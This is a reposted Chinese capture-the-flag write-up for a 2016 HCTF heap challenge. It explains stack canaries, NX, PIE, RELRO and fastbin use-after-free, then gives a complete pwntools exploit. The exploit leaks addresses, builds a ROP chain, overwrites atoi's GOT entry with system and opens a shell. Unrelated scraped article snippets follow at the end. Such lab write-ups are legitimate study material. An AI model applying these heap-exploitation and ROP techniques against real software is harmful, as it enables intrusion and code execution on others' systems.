见微知著(一):解析ctf中的pwn--Fast bin里的UAF

  在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的。所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家参考和一起交流。当然,也不想搞那些烂大街的东西,所以,打算从一道道pwn题开始,见微知著,在题目中延伸。

 

一:工欲善其事必先利其器

  ubuntu14.01 64位(该版本对pwntools的支持最好)。

  pwntools:用于快速编写pwn的exp的python库,功能非常强大。

  IDA:二进制必备的工具,主要用来反汇编代码,以及初步调试。

  libc-database:用于猜测libc.so.6库的工具,非常好用。(可以在github里面找)

  ROPgaget:用于查找和生成ROP链。

  gdb:虽然Linux肯定自带了,但还是说一下吧。

 

二:一道2016HCTF的UAFpwn题

   当然,拿到一个二进制文件,首先需要运行一下。看截图

  

  当然,很蛋疼的是这个输入设置的也是醉了,最好先把IDA打开,看一下怎么输入。可以看出,这个题目的输入逻辑还是挺简单的,根据套路,一般是在堆上搞问题。在进行分析之前,再利用checksec(pwntools自带了?)检查一下文件的属性。

     

  嗯!先来介绍一下checksec检测的各个属性的作用:

 

三:checksec里的各个属性和含义

  i:Stack Guard

  最熟悉的就是Stack Guard了,最经典的防护措施,记得最早接触是在看《深入理解计算机系统》的时候,通过在栈中插入Canary(这有一个很洋气的中文名,金丝雀值,具体典故可以自行google额,不多废话了),通过在return之前监测值是否变化来确定是否发生了栈溢出。对于canary,在windows上(GS机制)和Linux上的初始化还是有很大的差别的,Windows上的产生就不多加阐述了,大致是.data的头四个字节和esp进行异或操作生成的,这里主要讲一下Linux的Stack Guard。

  先来看一段有canary的汇编代码。

  400610:       55                      push   %rbp400611:       48 89 e5                mov    %rsp,%rbp400614:       48 83 ec 30             sub    $0x30,%rsp400618:       89 7d dc                mov    %edi,-0x24(%rbp)40061b:       48 89 75 d0             mov    %rsi,-0x30(%rbp)
  40061f:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax  <- 插入canary值400626:       00 00400628:       48 89 45 f8             mov    %rax,-0x8(%rbp)40062c:       31 c0                   xor    %eax,%eax40062e:       48 8d 45 e0             lea    -0x20(%rbp),%rax400632:       48 89 c6                mov    %rax,%rsi400635:       bf 00 07 40 00          mov    $0x400700,%edi40063a:       b8 00 00 00 00          mov    $0x0,%eax40063f:       e8 cc fe ff ff          callq  400510 <__isoc99_scanf@plt>400644:       48 8d 45 e0             lea    -0x20(%rbp),%rax400648:       48 89 c7                mov    %rax,%rdi40064b:       e8 80 fe ff ff          callq  4004d0 <puts@plt>400650:       b8 00 00 00 00          mov    $0x0,%eax400655:       48 8b 55 f8             mov    -0x8(%rbp),%rdx  <- 检查canary值
  400659:       64 48 33 14 25 28 00    xor    %fs:0x28,%rdx400660:       00 00400662:       74 05                   je     400669 <main+0x59> # 0x400669400664:       e8 77 fe ff ff          callq  4004e0 <__stack_chk_fail@plt>400669:       c9                      leaveq40066a:       c3                      retq

 

  可以看那两行表明为红色的汇编代码,可以发现canary就是fs:0x28的值了,在Linux中,glbc把fs指向tls,换句话说,canary的值在tls偏移0x28处,来看一下tls的数据结构

typedef struct
{void *tcb;        /* Pointer to the TCB.  Not necessarily thethread descriptor used by libpthread.  */dtv_t *dtv;void *self;        /* Pointer to the thread descriptor.  */int multiple_threads;int gscope_flag;uintptr_t sysinfo;uintptr_t stack_guard;   <- canary值,偏移位置0x28处uintptr_t pointer_guard;......
} tcbhead_t;

   其中tcbhead_t就是来描述tls的了,进程加载的过程中会调用arch_prctl系统调用来设置%fs的值,而canary的值则是在glibc的_dl_main和__libc_start_main函数中通过_dl_sysdep_start函数从内核获取的,说了这么多,就是想说,对canary的值进行猜测还是挺难的,绕过它的方法主流一般有两种,一种是step-by-step,还有一种是覆盖直接修改tls里的canary。当然,至于我说的绕过是正面刚,曲线救国的方法还是挺多的。以后的文章可能会就这个问题进行具体描述,这篇文章主要讲堆,就不继续扩展了。

  ii:N^X

  NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。绕过的最主流的方法就死ROP(return-orient-program)和JOP(Jump-orient-program)了,关于JOP,前一段时间打印了2010的那篇描述JOP的paper,但是这段时间到了考试周,也没空看(其实也是因为英文烂)。而且感觉在ctf中很少看见(当然,估计是刷题刷的少),在Windows的exp上倒是经常混合使用。不过其实原理都差不多,在这个题中,会详细描述一下pwn使用ROP的一些套路。

  iii:PIE

  其实我还是喜欢叫ALSR(address space layout randomization),无论如何,ALSR都是以页为单位的,所以在页中,位置不变,即可以修改最后一位进行绕过,这也是惯有套路了,这个题目就是通过这个手段来进行leak出进程的基地址。

  iv:RELRO(Relocation Read Only)

  gcc/linker/glibc dynamic-linker共同实现的,由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。可以尽可能减少存储区可写地址的范围,但是............只要有可写的地方就有利用的机会。具体的实现可以参考  http://hardenedlinux.org/2016/11/25/RelRO.html。针对这一点,0cft2017里面的writeup有非常经典的利用

  

四:分析和利用

  静态分析代码怎么能少了IDA呢?把主要函数都起一个通俗易懂的名字,建立好核心的数据结构,理清具体的工作流程和堆的释放分配器情况(这个题目显然是在堆上搞问题)。先看一下得出的关键数据结构。

  根据堆分配大小可以得出这个题目是关于块表分配的,关于堆分配的具体知识,可以去参考http://www.freebuf.com/articles/security-management/105285.html。而且在堆释放的时候的并没有必要的检查。所以完全可以试着去进行UAF。

  UAF的基本流程是。malloc(sizeof(A))【A一般带函数指针】--->init(A)---->free(A)--->占位-->A的函数解引用,这个题目中,分配空间的途径只有一条,换句话说,这个问题的核心是如何将分配的数据覆盖到struct_str就好了,这里的方法很多种,在这里分享一种使用两种分配方式的方法(单纯一种也可以),先看具体流程

     

  为了完整性,粗略说一下fast bin的分配释放的方式。在fast bin中,是由单项链表连接起来的,每个chunk的pre_chunk指向之前回收的chunk,即回收的chunk出于链表头部,此时分配时也会从头部分配,这里值得补充的是fast bin在free的时候并不检查double free ,这样可以形成循环链表,循环链表可以有利于chunk循环利用,这个题目没必要这样,但可以了解一下,free(0)->free(1)->free(0)(本题并不使用该

使用该方法)。

  

  在本题中,先是malloc(chunk0)->malloc(chunk1),其中chunk1,chunk2都小于16个字节,即进入上图的第二种情况。再free(chunk1)->free(chunk0),此时只要分配一个大小为0x20的buffer就可以覆盖chunk1了。但是,这里有一个问题,题目开了PIE,所以只能覆盖12位,这里可以在12位的范围里找呀找,翻到了put,此时rdi指向了该chunk的,delete(chunk1)可以直接将put的位置泄露出来,根据put的位置可以得到进程加载的基地址如图:

代码如下:

addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d   #d2d是相对于基地址put的偏移print 'mainBase:',
print hex(addr)

   由于题中的二进制文件并没有system,所以需要在libc.so.6里拿到system的地址。这里有三种比较主流的方法可以得到chunk,如下:

 

五:得到libc.so.6 里的system的三种常用方法

  1:利用libc-database

    这一种是最简单暴力的,只要你有个足够大的libc-database就好了(其实我花了很长时间才明白这个道理的,之前都是慢慢leak出来的)。原理也很简单,就是记住每个版本的read,write, system, ”/bin/sh"的地址,由于地址随机化是以页为单位的,所以拿后12位,和自己leak出来的地址后12位对比,就可以得到用相应的版本,具体如下图:

  

  2:leakLib

    当然之前一种方法并不一定凑效,万一平台的libc版本你database里没有就尴尬了,所以你需要另一个方法来解决这个问题,说到这里,不得不说pwntools这个神器了,里面有关于这个的函数,你所需要的就是得到可以任意读至少一个字节的漏洞,根据这个就可以直接直接得到systemde地址了,当然具体原理,值得用一篇的篇幅来细讲,和3一起留在下一篇文章继续说。

  3:Return-to-dl_solve     

    这个方法主要是利用自己伪造rel_entry,symtab,strtab,然后通过增大rel_offset来直接调用system函数,这种方法的原理和上一种方法一样,需要对PE文件格式有一定的了解才能彻底理解,详情放在下一篇。

 

六:编写Exploit

  这个题目闲麻烦,就直接使用第一种了(毕竟打本地),后面两种方法就放在下一篇一起解决了。在编写exp之前,想介绍一下pwn的几个小技巧,

    1>特别在堆上搞事情的pwn题,经常需要几个步才能实现一次分配或者释放,所以完全可以将封装成一个函数,还可以增加代码的可读性

    2>合理使用  context()函数,gdb.attach()函数。这两个函数讷能够在调试中给予很大的便利,context(log_level='debug')可以输出运行过程中io交互的细节,而gdb.attach函数则是可以利用gdb调试,特别对于在Windows下习惯用OD的人来说,gdb并不是那么用户友好的,但是在很多场景下,gdb可能是唯一的选择,比如利用kgdb调试Linux内核,所以用好gdb还是很有必要的,至于怎么用的话,在实践中利用help,熟能生巧吧!

    3>学会使用pwntools的各个函数,不得不说,pwntools里对很多pwn里经常使用的东西都进行高度封装了。

  之前已经可以控制任意指针,并leak除了进程的加载基地址,现在完全可以leak其它的地址,再通过对比后12位,这样基本leak libc.so.6的地址了,这是说一下通用ROPgaget吧!

  在64位程序中很蛋疼的一点是,它的参数优先放在寄存器中,顺序依次为rdi,rsi,rdx,rcx,r8,r9。而不是从栈中直接提取,这样的话就不能直接把参数放到栈上面了,这里需要我们来绕一个弯,这个弯就是利用pop rdi;ret。pop rsi;ret。pop rdx;ret。来解决。在题目中,可以通过ROPgaget来获取,但是程序中不一定能够直接得到,所以可以通过通用Gadget。  

基本就是这一段代码,具体的描述请参考***********(文章没找到,最开始出现在乌云,到后到处转载,自己找一下应该就能找到了)

这是这个题目的ROP链

def creatROP():ropchain = p64(addr + 0x00000000000011e3) # pop rdiropchain += p64(addr + 0x202070)# got@mallocropchain += p64(addr + 0x0000000000000990)# plt@putropchain += p64(addr + 0x00000000000011DA)# magicropchain += p64(0)# rbxropchain += p64(1)# rbpropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@readropchain += p64(8)# r13 -> rdxropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoiropchain += p64(0)# r15 -> rdiropchain += p64(addr + 0x00000000000011C0)# magicropchain += 'a'*8*7ropchain += p64(addr + 0x0000000000000B65)# getIntropchain = 'yes AAAA'+ropchainreturn ropchain

   看起来很长,其实设计已经成为套路了,详情可以自己调试看看。这里设计很巧妙的有点是,atoi函数直接是吧输入字符串作为参数,这样的话可以直接覆盖为system的地址,然后不需要设置参数,直接调用前一个函数就可以了。

 

七:exp实现

#! /usr/bin/python
from pwn import *# switches
DEBUG = 0
LOCAL = 1
VERBOSE = 1# modify this
if LOCAL:target = process('./heap')
else:target = remote('119.28.62.216',10023)if VERBOSE: context(log_level='debug')def creatROP():ropchain = p64(addr + 0x00000000000011e3) # pop rdiropchain += p64(addr + 0x202070)# got@mallocropchain += p64(addr + 0x0000000000000990)# plt@putropchain += p64(addr + 0x00000000000011DA)# magicropchain += p64(0)# rbxropchain += p64(1)# rbpropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@readropchain += p64(8)# r13 -> rdxropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoiropchain += p64(0)# r15 -> rdiropchain += p64(addr + 0x00000000000011C0)# magicropchain += 'a'*8*7ropchain += p64(addr + 0x0000000000000B65)# getIntropchain = 'yes AAAA'+ropchainreturn ropchaindef create(size, string):target.recvuntil('quit')target.sendline('create ')target.recvuntil('size:')target.sendline(str(size))target.recvuntil('str:')target.send(string)def delete(id,payload='yes'):target.recvuntil('quit')target.sendline('delete ')target.recvuntil('id:')target.sendline(str(id))target.recvuntil('sure?:')target.sendline(payload)if DEBUG: gdb.attach(target)a = raw_input('go2?')
create(4, 'aaa\n')
#a = raw_input('go?')
create(4, 'aaa\n')
#delete(0)
delete(1)
delete(0)
#create(4, '\x00')
create(0x20, 'a' * 0x16 + 'lo' + '\x2d')
delete(1)target.recvuntil('lo')
addr = target.recvline()
addr = addr[:-1]
put_addr = u64(addr + '\x00' * (8 - len(addr)))
print 'putBase:'+str(hex(put_addr))addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d
print 'mainBase:',print hex(addr)

delete(0)
#create(4, '\x00')

payload1 = 'a' * 0x18 + p64(0x00000000000011DC + addr)
create(0x20,payload1)ropchain = creatROP()
delete(1,ropchain)
addr = target.recvline()[:-1]
addr = u64(addr + '\x00' * (8 - len(addr)))
print "malloc_addr:",
print hex(addr)
addr = addr - 534112 + 288144(这里可能要自己修改基地址)
#addr = addr - 537984 + 283536
print 'System_addr:',
print hex(addr)
print 'LibBase:',
print hex(addr)target.sendline(p64(addr)+'/bin/sh')
target.interactive()

 

转载于:https://www.cnblogs.com/0xJDchen/p/6175651.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/417585.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

火狐插件 打开html 死机,火狐flash插件崩溃(Firefox火狐Flash插件卡死问题完美解决方法)...

火狐flash插件崩溃(Firefox火狐Flash插件卡死问题完美解决方法)&#xff0c;哪吒游戏网给大家带来详细的火狐flash插件崩溃(Firefox火狐Flash插件卡死问题完美解决方法)介绍&#xff0c;大家可以阅读一下&#xff0c;希望这篇火狐flash插件崩溃(Firefox火狐Flash插件卡死问题完…

uuid表示时间的部分_技术译文 | UUID 很火但性能不佳?今天我们细聊一聊

作者&#xff1a;Yves Trudeau Yves 是 Percona 的首席架构师&#xff0c;专门研究分布式技术&#xff0c;例如 MySQL Cluster&#xff0c;Pacemaker 和 XtraDB cluster。他以前是 MySQL 和 Sun 的高级顾问。拥有实验物理学博士学位。原文链接&#xff1a;https://www.percona.…

西电计算机科学院实践中心,计算机基础教学实验中心

一、总体情况计算机基础教学实验中心隶属于计算机网络与信息安全国家级实验教学示范中心&#xff0c;承担着全校本科生的计算机基础教学和实验任务&#xff0c;是学校对外的重要窗口。中心总面积4200平方米&#xff0c;固定资产总价值接近1500万元&#xff0c;仪器设备共3907台…

jquery通过attr取html里自定义属性原来这么方便啊

<script type"text/javascript"> function fangGouWuChe(obj) { //放入购物车 var sMat $(obj).parent().parent().parent().parent().attr("material"); var sPrice $(obj).parent().parent().find(em[class"sale-price"]).text(); …

千牛通知栏常驻是什么意思_店铺运营|内贸1688 店铺真正的权重是什么?

想必大家都听说过店铺权重/单品权重/客户标签 这些名词。那到底是怎么操作的呢&#xff1f; 以下是简单的大纲&#xff1a;店铺权重的拆解拆分里面的小指标&#xff0c;看看我们有没有操作的空间单品的权重拆分里面的小指标&#xff0c;有哪些因素是我们能够控制的&#xff1f;…

charts引入icon图片_v-charts 踩坑之路

最近要做一个大屏 没有使用echarts 使用了更适合vue封装的v-charts组件库&#xff0c;第一次使用 期间踩了不少坑&#xff0c;记录下来和大家分享一下。废话不多说 开始搞起来&#xff01;一、安装 引入什么的大家自行百度 百度一下&#xff0c;你就知道​www.baidu.com二、2.1…

pla3d打印材料密度_模具粉必看!总有一款粉末能解决您的问题-毅速3D打印研制...

金属3D打印最常见的形式是粉末床熔融。这类工艺使用热源&#xff08;SLM工艺使用激光&#xff0c;EBM工艺使用电子束&#xff09;逐点将粉末颗粒熔融在一起&#xff0c;逐层加工至物件完成。在金属3D打印过程中&#xff0c;可能存在很多设备操作者试图避免的问题&#xff0c;包…

【Networking】容器网络大观 SDN 资料汇总

SDNLAB技术分享&#xff08;十五&#xff09;&#xff1a;容器网络大观SDNLAB君 • 16-06-17 •2957 人围观编者按&#xff1a;本文系SDNLAB技术分享系列&#xff0c;本次分享来自SDN撕X群&#xff08;群主&#xff1a;大猫猫&#xff09;群直播&#xff0c;我们希望通过SDNLAB…

java 建立ssh隧道_SSH基础

SSH基本概念SSH 为 Secure Shell 的缩写&#xff0c;由 IETF 的网络小组&#xff08;Network Working Group&#xff09;所制定&#xff1b;SSH 为建立在应用层基础上的安全协议。SSH 是较可靠&#xff0c;专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有…

中修改环境变量_Golang入门(1):安装与配置环境变量的意义

摘要在几年前学习Java的时候&#xff0c;环境的配置就会劝退一部分的初学者。而对于Golang来说&#xff0c;也需要从环境的配置开始学起。这一篇文章将从如何安装Golang开始讲起&#xff0c;随后将会提到Golang中的环境变量GOROOT和GOPATH的配置以及这两个环境变量起到什么样的…

华科计算机学院有博士吗,华科计算机学院博士毕业条件

华中科技大学计算机学院2008级博士论文规定根据《华中科技大学申请博士学位发表学术论文的规定》&#xff0c;我院博士研究生申请博士学位前&#xff0c;须按以下要求之一发表学术论文&#xff1a;1、A类、B类或学院规定的国际顶尖学术会议论文一篇&#xff1b;2、SCI期刊论文一…

线程打印状态_Java线程状态的转换

根据上面关于线程状态的介绍我们可以得到下面的线程状态转换图:BLOCKED与RUNNABLE状态的转换我们在上面说到:处于BLOCKED状态的线程是因为在等待锁的释放。假如这里有两个线程a和b, a线程提前获得了锁并且暂未释放锁&#xff0c;此时b就处于BLOCKED状态。我们先来看一个例子:初…

GOAndroid的安装和配置

android环境的配置还是比较复杂的&#xff0c;特别对于我这样一直使用mfc的程序员来说&#xff0c;有很多观念上需要转变。好在配置成功后就能够不断复用&#xff0c;那么这样的问题值得整理出来 一、安装jdk 二、解压adt-bundle-windows(GO)。其中sdk是配置好的 三、配置环境变…

开发项目之考研计划_软件测试之项目测试计划模板

1. 引言1.1. 文档版本1.2. 项目情况1.3. 预期读者----部门经理----项目经理----测试经理----需求分析师----开发工程师----测试工程师----XXX银行经理----XXX基金公司经理1.4. 项目质量定义本项目软件测试是为了保障&#xff0c;XXX财务核算系统在应对营改增政策调整的系统升级…